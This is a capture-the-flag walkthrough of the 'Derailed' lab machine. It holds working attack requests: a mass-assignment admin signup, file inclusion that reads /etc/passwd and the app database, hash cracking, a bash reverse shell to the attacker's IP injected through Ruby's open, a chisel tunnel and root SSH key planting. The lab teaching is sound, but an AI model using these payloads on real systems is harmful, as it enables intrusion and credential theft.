Derailed

Enumeration

Rustscan

sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.253.213 -- -sV -sC -oA ./rust/{{ip}}

Ports

Open 10.129.253.213:22
Open 10.129.253.213:3000

Services

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
3000/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: derailed.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dirsearch

dirsearch -u http://derailed.htb:3000/ -x 404,301
[16:16:57] 200 -    2KB - /404                                              
[16:16:57] 200 -    2KB - /404.html                                         
[16:16:57] 200 -    2KB - /500                                              
[16:17:05] 302 -   96B  - /administration  ->  http://10.129.253.213:3000/login
[16:17:14] 200 -    0B  - /favicon.ico                                      
[16:17:19] 406 -   39B  - /login.json
[16:17:19] 200 -    2KB - /login.js                                
[16:17:19] 200 -    5KB - /login/                                                 
[16:17:19] 302 -   91B  - /logout  ->  http://10.129.253.213:3000/          
[16:17:19] 302 -   91B  - /logout/  ->  http://10.129.253.213:3000/         
[16:17:26] 200 -    2KB - /rails/info/properties                            
[16:17:26] 200 -    6KB - /register                                                                              
[16:17:27] 200 -   99B  - /robots.txt 

Web Enum

General Overview

The app allows us to create notes which are displayed in a kind of markdown format. You can do that either as a guest or an user

Registration: /register Login: /login Notes: /clipnotes/ID Administration Panel: /administration Reporting Notes: /report/ID

The admin panel isn't available for guests or user, tells us Only available for admins and redirects us to the login page

Routes

Routes can be found on http://derailed.htb:3000/rails/info/routes

/rails/info/properties

Rails version	6.1.6
Ruby version	ruby 2.7.2p137 (2020-10-01 revision 5445e04352) [x86_64-linux]
RubyGems version	3.1.4
Rack version	2.2.3
Middleware	

    Webpacker::DevServerProxy
    ActionDispatch::HostAuthorization
    Rack::Sendfile
    ActionDispatch::Static
    ActionDispatch::Executor
    ActiveSupport::Cache::Strategy::LocalCache::Middleware
    Rack::Runtime
    Rack::MethodOverride
    ActionDispatch::RequestId
    ActionDispatch::RemoteIp
    Sprockets::Rails::QuietAssets
    Rails::Rack::Logger
    ActionDispatch::ShowExceptions
    ActionDispatch::ActionableExceptions
    ActionDispatch::Reloader
    ActionDispatch::Callbacks
    ActiveRecord::Migration::CheckPending
    ActionDispatch::Cookies
    ActionDispatch::Session::CookieStore
    ActionDispatch::Flash
    ActionDispatch::ContentSecurityPolicy::Middleware
    ActionDispatch::PermissionsPolicy::Middleware
    Rack::Head
    Rack::ConditionalGet
    Rack::ETag
    Rack::TempfileReaper

Application root	/var/www/rails-app
Environment	development
Database adapter	sqlite3
Database schema version	20220529182601

Exploitation

After testing different routes for a longer period of time I started checking the registration and login process.

When calling http://derailed.htb:3000/administration we can see that only admins are allowed to view that page. Seems like we're dealing with roles that are assigned to each account.

Register Request

We can see that which parameters are set when we register as a normal user

POST /register HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=%2FxEQgz4cj8kSRMDGb%2FVHF%2B5nRsrspsZ%2Bm8aqmfbxgCnwbPlV7o75R5ZZPl7F4pf5%2Bodirt10UMa5HsERcjf%2BlmrqGE6MZXb6q7KwUnvGhyywfOA4IkhnboRLhdVF7zlSUJLM37mPT659vNhd2xwGd8H1d5hqtGnafx5LXzJlcJOewRzUq3lL41ooI7g01bHd5iXAFsLtfcSMl8mYV5Xyd6YV0Th%2FIrssHBcs7tHpvmQ1rwuBNA%2Fnh7T18i8HGGi5Zt2TLAEL0BCPlm9BAt9yBR4vJPzN26UsaRZab6k%3D--7DW4tXKgtOhzLb6%2F--EDFC25BjrLmw9sKHi38CzQ%3D%3D
Upgrade-Insecure-Requests: 1

authenticity_token=WampkFYIf5xi_rJxY8XbnNeaxc1kMAUqUaK0wR6CTovyDYW1iH4clfXch_zu_YD091JWMB6XfG4Ryy1OCu3x9A&user[username]=user01&user[password]=user01&user[password_confirmation]=user01

Mass Assignment Vulnerability

After playing around for a while I discovered the right parameter to create an admin account

POST /register HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 223
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=wCV43wRVDha2NMtHT1%2BCgeW%2B0kC3kqnGA%2BMeuNdM%2FnA4NE44C9Bjsm%2BgIIPUpGcQX7TI68mSwNGqyrkVkMyru%2Fb0DrUUFgsYNXh6OVUaN%2By%2BkwGiUB95cZZ6rXQGmGb4Xx9MB%2FCB5itzoNB8Yd%2BHNjU%2FLZvpCfNntZwOyU9XTsR9rqXr9FOZy5fqIcNnhurTX7PaLyCHTifyAPCuIzhWbJ9rhtiETv0M2mp%2BIRU7xYGRswqau4jomsnytxL30MyVn9EjnW9oQNKp%2FWicLTS0f1VOK29twih27c4iIec%3D--5DHMtqqxi91urSsu--LLafZP2XM7gzwFFCMZtFOA%3D%3D
Upgrade-Insecure-Requests: 1

authenticity_token=hZTIv7a_WQ0glqeMKIsOk1GFPeMJok89YDlTW8chg54ZLJZoP66r6vf4YfYHq8DEbN7onTfPwvcSQ5dkh6LKag&user[username]=admin&user[password]=admin&user[password_confirmation]=admin&user[role]=administrator

LFI

While I checked out the admin panel I discovered that I as an administrator am able to download reports.

That's a candidate for a nice local file inclusion

Original Request

POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests: 1

authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=report_21_11_2022.log&button=

Get /etc/passwd

This will show us all the users that are currently on the machine and give us an overview

POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests: 1

authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=/etc/passwd&button=

User with a home directory

openmediavault-webgui:x:999:996:Toby Wright,,,:/home/openmediavault-webgui:/bin/bash
admin:x:998:100:WebGUI administrator:/home/admin:/usr/sbin/nologin
openmediavault-notify:x:997:995::/home/openmediavault-notify:/usr/sbin/nologin
rails:x:1000:100::/home/rails:/bin/b

SQLITE DB

Let's get some password hashes from the sqlite db associated to our app. We found the root dir by checking http://derailed.htb:3000/rails/info/properties

POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests: 1

authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=/var/www/rails-app/db/development.sqlite3
# Save the hash in a new file
toby:$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle
# PW = greenday
hashcat -m 3200 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt

User Flag

POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests: 1

authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=/home/rails/user.txt

RCE - Kernel-level Open Function

While poking around we discover the admin_controller that will show us what vulnerability we can abuse to archive remote code execution.

Ruby Vulnerabilities & Exploits

/var/www/rails-app/app/controllers/admin_controller.rb

class AdminController < ApplicationController
  def index
    if !is_admin?
      flash[:error] = "You must be an admin to access this section"
      redirect_to :login
    end

    @report_file = helpers.get_report_file()

    @files = Dir.glob("report*log")
    p @files
  end

  def create
    if !is_admin?
      flash[:error] = "You must be an admin to access this section"
      redirect_to :login
    end

    report_log = params[:report_log]

    begin
      file = open(report_log)
      @content = ""
      while line = file.gets
        @content += line
      end
      send_data @content, :filename => File.basename(report_log)
    rescue
      redirect_to request.referrer, flash: { error: "The report was not found." }
    end

  end
end

Shell

We get our foothold by abusing the Kernel-level Open Function

POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=htXtRmBmBp4Vd8bqt51W5qrqjLy8fP1MGGfhBXNnt0wNGYuEZbD4RjpOgHXbn2SFKQ1LuwDExnFxzhX36wiEC5W43wBRLFYR2zImtAaRMxH7CRcofk91ZOtUSXPzt10kG33c6D529pZt%2BPOj%2Fs7741SikfeM4GLK%2FeM6wEOCShSfd08xBgHrt3dW1kccUInW1S87QhIFGpmOTxSOQSpzjVODTwpJI0G3D%2B%2BVKot7xo4d%2FZbZpDGFfFlkt9qDeN63tC%2BSNOh6UaB0cH6unfDuRETUkcOyNQuHA7sVoeR4VEhVoEgojM9aS8JRx2Sq--XRvklENQh2bhVtne--d%2F%2F1Hil3FqfPliTPAUgpBQ%3D%3D
Upgrade-Insecure-Requests: 1

authenticity_token=rDJYaCPl2HYD84bjdp8F7RZBX3qLnGGRjer8M-jgC2pfSN3VXaHRnZfENBfDw1glbiUJSTt3fq1jI6yVarqISw&report_log=|bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.135/4000+0>%261'

Privilege Escalation

Local Enumeration

While poking around we already detected that openmediavault is installed

netstat -tlpn
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:53393         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:3000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:38547         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -                   
tcp        0      0 10.129.254.29:5357      0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3003          0.0.0.0:*               LISTEN      803/puma 5.6.4 (tcp 
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::111                  :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::139                  :::*                    LISTEN      -                   
tcp6       0      0 :::445                  :::*                    LISTEN      -    

User: openmediavault-webgui

We can switch to the openmediavault-webgui due to password reuse. Checking /etc/passwd you can see that this account is associated to Toby Wright and the password we were able to crack was called toby

Creds openmediavault-webgui:greenday

Pivoting Setup

To reach the app you have to have either port forwarding or use a tunnel. Chisel did the job for me, it's my go to tool :)

# Attacker Machine
./chisel server -p 8001 --reverse
# Target Machine
./chisel client 10.10.14.135:8001 R:1080:socks

Reset Webpanel Password

Since the default credentials doesn't work we have to reset the password

/usr/sbin/omv-firstaid

SSH Key Deployment

After some time of digging aroung the app and learning how it functions we notice that we are able to deploy ssh keys with it using it's config files as the webpanel doesn't allow us to do anything related to user management.

/etc/openmediavault/config.xml

<user>
<uuid>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</uuid>
<name>test</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys></sshpubkeys>
</user>

We just have to change the block for the user test to user root add our ssh key and visit the Web GUI to apply our changes

# Generate SSH Keys
ssh-keygen -t rsa
# Convert to RFC4716 Format
ssh-keygen -e -f id_rsa.pub
<user>
<uuid>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</uuid>
<name>root</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys>
<sshpubkey>---- BEGIN SSH2 PUBLIC KEY ----
Comment: "3072-bit RSA, converted by mrk@parrot from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABgQDBIB5L7CoUUtERwWgHCEqXgxJxkKQfTlQYKWhVsO
H0r5YMGjjNNuUf7pDVUnp3tEPJ/nXjOJtCk/X5v4s0/CMFwbCqggWZ0KLcdVXcDOgWce9U
+Acjt9XELRzMfJyHB3q1jgOQm9M5dIAif0+fhIupCTjoFVB4z/MrlDkGOBiFbcMG3ccT8w
slhafd+x+ldflKei18SwatzgtRtw2yKAeiuubqKcB1RyLwZQPO+RgDpsV2LNCG2w7FjiKQ
6Og/fvyCktnQk844Ex6/xsQM3wYejImeTuvhY85/T/SUrE7ay9xhwn2Ev/q1oJV4KlwLTo
3Ggbbva6SWvZ061vZfSQML4AhG27zTaJ8G7bkck0ejMX7q+ibmoiF5Qj7GIepK6fhmQqu2
hwzLH8i58K8wCN6Y4rjkBqk0p5psho0DbOIZPxVDq1e8Ht37X5HnxyAaIhdB6xLh5VhRIr
pUeUdYAY45yrP7WQhHWZXfEWyslUhi8WpwgHrlqasUWwuIyyZ38O0=
---- END SSH2 PUBLIC KEY ----</sshpubkey>
</sshpubkeys>
</user>

Rooted

# Just use ssh with our priv key
ssh -i ./id_rsa root@derailed.htb
# Flag
cat /root/root.txt

Last updated